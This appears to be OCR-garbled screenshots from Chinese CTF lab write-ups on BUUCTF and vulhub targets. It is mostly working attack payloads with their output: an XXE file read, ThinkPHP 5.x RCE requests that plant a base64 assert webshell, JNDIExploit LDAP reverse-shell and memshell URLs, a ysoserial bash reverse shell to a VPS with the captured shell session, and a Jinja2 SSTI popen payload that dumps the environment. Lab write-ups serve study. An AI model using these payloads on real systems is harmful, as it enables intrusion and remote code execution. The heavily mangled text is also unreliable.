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— dom.php # 7=#i: {ii/iDOMDocumentfi#tfrbody

— index.php

— SimpleXMLElement.php # 7=fil: i /il SimpleXMLElement2fi##rbody
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?xml version encoding

DOCTYPE xxe [
ELEMENT name ANY
ENTITY xxe SYSTEM
root

name>axxe; /name

expect://ipconfig
3l
http: //192.168.0.128:80
> https://xz.aliyun.com/t/3357

GIELURY

1 GET /simplexml_load_string.php HTTP/1.1 \r \n 1HTTP/1.1 200 OK

2 Host: node4.buuoj.cn:2666@ \r \n 2 Host: node4.buuoj.cn:26660
3 Cache-Control: max-age=0 \r \n 3 Connection: close

4 Upgrade-Insecure-Requests: 1\r \n 4 X-Powered-By: PHP/7.0.30

5 User-Agent: Mozilla/5.0 (Windows NT 10.@; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) C 5 Content-type: text/html; charse
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng 6

7 Accept-Encoding: gzip, deflate \r \n 7 PD9waHAKcGhwaWSmbygpOw==

8 Accept-Language: zh-CN,zh;q=0.9 \r \n

9 Connection: close \r \n

.0 Content-Length: 201 \r \n

1 \r An
.2 <?xml version="1.0" encoding="utf-8"?>
\r \n

.3 <!DOCTYPE xxe [ \r \n
4 <lELEMENT name ANY > \r \n
.5 <IENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php™ >]> \r \n
6 <root>\r \n
7 <name>

&xxe

</name> \r \n
8  </root>

CSD



— s SR ARIRN LRI 2 XXE Y
B LS AR S B R A TA BER IO SR IR T file B3, FRATA0H 2 AN TEAE AP 65, FRATRE TR Bip i
nE ps:

csDN @|F Bl jEs

PHPE 233 Fi& LU I8 BE SCRF I P

R
Scheme Extension Required
https enssl
ftps p
zip zip
ssh2.shell ssh?

ssh2.exec
ssh?.tunnel

ssh2.sftp

ssh2.scp

rar rar

ogg oggvorbis

exXpect expect e
R

1.9 201249 A JF4h, Oracle JDKRR A H i[5 1 % gopher)s I3 KF, Ja K 3L H# IR A /& Oracle JDK 1.7
update 7 Fl Oracle JDK 1.6 update 35
2.libxml 52 PHP [#] xml 3§

[ThinkPHP]5-Rce

PN AR5
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https://xz.aliyun.com/t/3357#toc-4
https://xz.aliyun.com/t/3570#toc-4

Thinkphp = 5.1.x , phpfiA>5.5

Thinkphp = 5.0.x , phphiA>=5.4

Higbuuctf#IHLAREET FTH5.0. xFPOC, /& Hassert k%t Fmle HoAh m) 85

ARbuuctfifjpoc HiiAANS5.0.20
?s=index/\think\app/invokefunction&function=call user_func_array&vars[@]=system&vars[1][]=whoami

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=phpinfo&vars[1][]=-1

A o AT R B XGESE,  KILZIEHLA curldir & BT LGB, Rk T #— s o,

?s=index/\think\app/invokefunction&function=call user_func_array&vars[@]=system&vars[1][]=curl%20-0%20Lndex

20http://x.x.x.x:80/Lndex.php
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[ThinkPHP]5.0.23-Rce
{FH Burp2 i, St B IER 54T , HGETA NPOST, Hkik4irepeater.
poc

POST /index.php?s=captcha HTTP/1.1
Host: localhost

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=1s -1



1.Lndex.php F|Hcurl T #L.

Pretty Actions v

1 POST /index.php?s=captcha HTTP/1.1 \r \n
2 Host: node4.buuoj.cn:29172 \r \n

3 Cache-Control: max-age=0 \r \n

4 Upgrade-Insecure-Requests: 1\r \n

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,

like Gecko) Chrome/87.0.4280.88 Safari/537.36 \r \n
6 Accept:

text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 \r \n

7 Accept-Encoding: gzip, deflate \r \n

8 Accept-Language: zh-CN,zh;gq=0.9 \r \n

9 Connection: close \r \n

L@ Content-Type: application/x-www-form-urlencoded \r \n
L1 Content-Length: 72 \r \n

L2 \r \n

Pretty JRi& Actions v

avicon.ico index.php robots.txt router.php static
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ThinkPHP V5.0.23 { TEE—al-AAPIFAISITRSEEESR |

L3 _method=__construct&filter[]=system&method=get&server[REQUEST METHOD]=1s CSDN @|F B M

2. K| flbase64 5 H i, B BRI 5L R i .
{fi Ffibase644mi% 5 N\ ; assertn] LA feval

H3C: aaa<?php @assert($_POST[

1);2>bbb
%3C: YWFhPDOwaHAgQGF zc2VydCgkX1BPU1RbI3hzcyddKTs/PmiYg

POC:

1RbJI3hzcyddKTs/PmJiYg base64 -d shell9.php

POST /index.php?s=captcha HTTP/1.1\r \n

Host: node4.buucj.cn:29172 \r \n

Cache-Control: max-age=0 \r \n

Upgrade-Insecure-Requests: 1\r \n

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64)
AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88
Safari/537.36 \r \n

Accept:

text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,imag
e/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

\r \n

Accept-Encoding: gzip, deflate \r \n

Accept-Language: zh-CN,zh;g=0.9 \r \n

Connection: close \r \n

Content-Type: application/x-www-form-urlencoded \r \n

Content-Length: 76 \r \n

\r \n
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]
= 1« -1

[ThinkPHP]2-Rce

BRI

_method=__construct&filter[]=system&method=get&server REQUEST _METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU

1HTTP/1.1 200 OK
2 Date: Mon, 87 Mar = ool GMT

3 Server: Apache/2.4.25 (Debian)

4 X-Powered-By: PHP/7.2.12

5Vary: Accept-Encoding

6 Connection: close

7 Content-Type: text/html; charset=UTF-8
8 Content-Length: 7756

9

10 total 24

11 -rw-r--r-- 1 www-data www-data 31 Mar 7 13:25 Lndex.php
12 -rw-rw-r-- 1 www-data www-data 1156 Dec 1@ 2018 favicon.ico
13 -rw-rw-r-- 1 www-data www-data 766 Dec 10 2018 index.php
14 -pw-rw-r-- 1 www-data www-data 24 Dec 10 2018 robots.txt
15 -rw-rw-r-- 1 www-data www-data 840 Dec 1@ 2018 router.ph
18-rw-r--r-- 1 www-data www-data 37 Mar 7 13:39 shell9.php
17 druxrwxr-x 1 www-data www-data 24 Dec 1@ 2018 static

18 <!DOCTYPE html>
19 <htmls

http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

R AT 4447 phpinfo():

Logdj
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# java -jar INDIExploit-1.2-SNAPSHOT.jar -u

orted LADP Querties:
* all words are case INSENSITIVE when send to ldap server

[+] Bas1ic QUEIIER ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
ldap: 389/Basic/Dnslog/[domatin ]
ldap: :1389/Bas ic/Command/ [ cmd ]

T A 120N ID e~ I ammamndAd D nB A Tha e niBAd amendad

1dah: =&9/an1c/Reverqeﬁhell[[tp][[port] =yl

o FerSGYy ey ey TomentteiTe
ldap: 3

ldap:

ldap: 'QfanlchomcatMemqhelll

ldap: 389/Basic/TomcatMemshell2 ed extra header [shell: true]
ldap: 389/Basic/JettyMemshell

ldap: 1389/Bas 1c/WeblogicMemshelll

ldap: 1389/Bas 1c/MWeblogicMemshell2

ldap: 389/Bas 1c/JBossMemshell

ldap: 389/Bas 1c/WebsphereMemshell

ldap: 1389/Bas 1c/SpringMemshell

[log4j]CVE-2017-5645

F 1. H.ysoserial-

¥ TR AR AMVPS.

T S ROTE Linuxit & iy 4

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 IX & & JF A T AT fir 4

HTH R R FF BT Llbase64 N %, {EHAT

bash -c {echo,xxx}|{base64,-d}|bash xxx/&base64%% X, IXEHAT XX AT A4
FITLASE45127.0.0.1 /166664 B /RVPS P A nc -1vp i 11 F) s Wr vty 1

SR JFbaseb4 i .

% VPS IP192.168.1.10

vpsHE AT nc -1vp 6666

wEvpstiiT: java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIUMTY4LJEUMTAVNjY2NiAwPiYx} | {base64,-d}|bash" | nc node4.buuoj.cn 25874
node4.buuoj.cn 258742 #EHL () bk

[log4jICVE-2017-5645
96

https://github.com/vulhub/vulhub/blob/master/log4j/CVE-
2017-5645/

ISR
FellRAT[E]: 91575


https://www.imnie.com/index.php/2021/12/26/log4j2%25E4%25BB%25BB%25E6%2584%258F%25E5%2591%25BD%25E4%25BB%25A4%25E6%2589%25A7%25E8%25A1%258Cbuuoj%25E9%259D%25B6%25E5%259C%25BA%25E5%25A4%258D%25E7%258E%25B0/
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node4.buuoj.cn:25874
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B e IR 2 shelliE 42

rootg -/ tool/JNDIExploit.v1.2# nc -lvp 66
Listening on , t 6666)
Connection from 117.21. 39917 received!
bash: cannot set terminal process group (1): Inappropriate i1octl for device
bash: no job control in this shell

root@out:/# 1s

1s

bin

boot

dev

docker-java-home

etc

home

11b

11b64

log4jrce-1.0-SNAPSHOT-all. jar

media

mnt

opt

proc

root

run

sbin

Srv

sys

tmp

usr

var

root@out: /# env

env

LANG=C.UTF-8

HOSTNAME=out

JAVA HOME=/docker-java-home/jre CSDN @|HB ¥




{% for c in []._ class . base . subclasses () %}
{% if c.__name %}
{% for b in c.__init . globals .values() %}
{% if b._class__ {}. __class__ %}
{% if in b.keys() %}
{{ bl 1(
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

ERurl ERID, F ApythoniByk iR & ek diidt, Fr bl A %0ar 4k idtur 14w is .
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http://your-ip:8000/?name=%7B%25%20f0or%20c%20in%20%5B%5D. class__. base . subclasses_ ()%20%25%7D%0A%7B%25%2
Pif%20c.__name__ %20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c. __init__._ globals_
.values()%20%25%7D%0A%20%20%7B%25%20if%20b. class__ %20%3D%3D%20%7B%7D.__class__ %20%25%7D%0A%20%20%20%20%7B%25%2
011%20%27eval’%27%20in%20b. keys ()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D (%27 __import__ (%220s%22)
.popen(%221d%22) .read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endi{%20%25%7D%0A%20
%620%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

B HY H 5%
67B%25%20f0r%20c%201n%20%5B%5D. __class__ . base_ ._ subclasses_ ()%20%25%7D%0OA%7B%25%20if%20c.__name__%20%3D%3D%
20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c. init . globals__ .values()%20%25%7D%0A%20%2
0%7B%25%2011%20b.__class__ %20%3D%3D%20%7B%7D.__class__ %20%25%7D%0A%20%20%20%20%7B%25%2011%20%27eval%27%20in%20b.
keys ()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D (%27 __import__ (%220s%22) .popen(%221s%22).read()%27
)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7
D7%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

%7B%25%20f0r%20c%20in%20%5B%5D. class . base_ . subclasses_ ()%20%25%7D%0OA%7B%25%20if%20c. name__%20%3D%3D%
20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20f0or%20b%20in%20c.__init_ ._ globals__ .values()%20%25%7D%0A%20%2)
07%7B%25%2011%20b. class__ %20%3D%3D%20%7B%7D. ___class__ %20%25%7D%0A%20%20%20%20%7B%25%2011%20%27eval’%27%20in%20b.
keys ()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D (%27__import__ (%220s%22) .popen(%22cat%20app.py%22)
.read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endf
0r%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D




i F pythonfi A
popen(%22python3%20-V %22)

M) Rz
Pretty Jﬁﬁé‘ \n Actions Vv

Hello Python 3.6.9

e fE(Ecurl
popen(%22pcurl%20-V%22)

R [O==

Pretty Jﬁﬁ.‘q‘ \n Actions v

Hello curl 7.64.0 (x86_64-pe-linux-gnu) libeurl/7.64.0 OpenSSL/1.1.14d z1ib/1.2.11 libidn2/2.0.5 libpsl/0.20.2 (+libidn2/2.0.5)
libssh2/1.8.0 nghttp2/1.36.0 librtmp/2 3 Release-Date: 2019-02-06 Protocols: dict file fip fips gopher http hitps imap imaps ldap
ldaps pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smips telnet tfip Features: AsyvnchDNS IDN [Pvé Largefile GSS-API
Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL

O] = et
- [ L—
=l = A

CSDN @

FrbL, i E 2 32 B A shell)iF,

F—Mr: K server.py FAERIVPSIEZLT, FH curlficlientpy N EFHENLIHIZ1T,
Python3=2 i 5z [ Shell

M7 tplmap
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https://blog.csdn.net/qq_34356800/article/details/82890543
https://blog.csdn.net/EC_Carrot/article/details/109709767

PR Fflag, AL T A KIER GG E D
popen(%22env%22).read()

N Rz
Pretty JEJIE.‘ \n Actions v

Hello KUBERNETES SERVICE PORT=443

KUBERNETES PORT=tcp://10.240.0.1:443 HOSTNAME=out
PYTHON_PIP_VERSION=19.3.1 HOME=/root
GPG_KEY=0D96DF4D4110ESC43FBFB17F2D347TEA6AARS421D
PYTHON GET PIP URL=hittps://github.com/pypa’get-
pip/raw/ffe826207a010164265d9cc80797823604d18cal/get-pip.pv

SERVER SOFTWARE=gunicorn/20.0.0
KUBERNETES PORT 443 TCP _ADDE=10.240.0.1
PATH=/usr/local’bin:/usr/local/sbin:ust/local/bin: usr/sbin:/usr/bin:sbin:/bin
KUBERNETES PORT 443 TCP PORT=443

KUBERNETES_PORT_443 TCP_PROTO=tcp LANG=C UTF-8
PYTHON_VERSION=3 6 9 KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443 TCP=tcp://10.240.0.1-443
KUBERNETES_SERVICE_HOST=10.240.0.1 PWD=/app
PYTHON_GET_PIP_SHA256=h86f36cc4345a287bfd4f10effb2dbfa7al72fbff70608ale4:

FLAG={lag{60b80916-720c-47ef-87cd-dedd7f2ad338} CSDN @|F B ¥
Wi | I SN E =l AR

NHHERE LK T SSTIF %, 1% A HHOCHER:, AT DU 1K:
flaskZ sstitfiE A MEFIAL]

flask ssti python27Fﬂpython3 TN 25 FIIX G

Pythonb Fi R i 1.2

Flask/Jinja2 SSTI && Python Vb e R B

ﬂii—'/j:é:b


https://xz.aliyun.com/t/3679
https://www.cnblogs.com/zaqzzz/p/10251892.html
https://hatboy.github.io/2018/04/19/Python%25E6%25B2%2599%25E7%25AE%25B1%25E9%2580%2583%25E9%2580%25B8%25E6%2580%25BB%25E7%25BB%2593/
https://www.guildhab.top/2019/10/flask-jinja2-ssti-python-%25E6%25B2%2599%25E7%25AE%25B1%25E9%2580%2583%25E9%2580%25B8/
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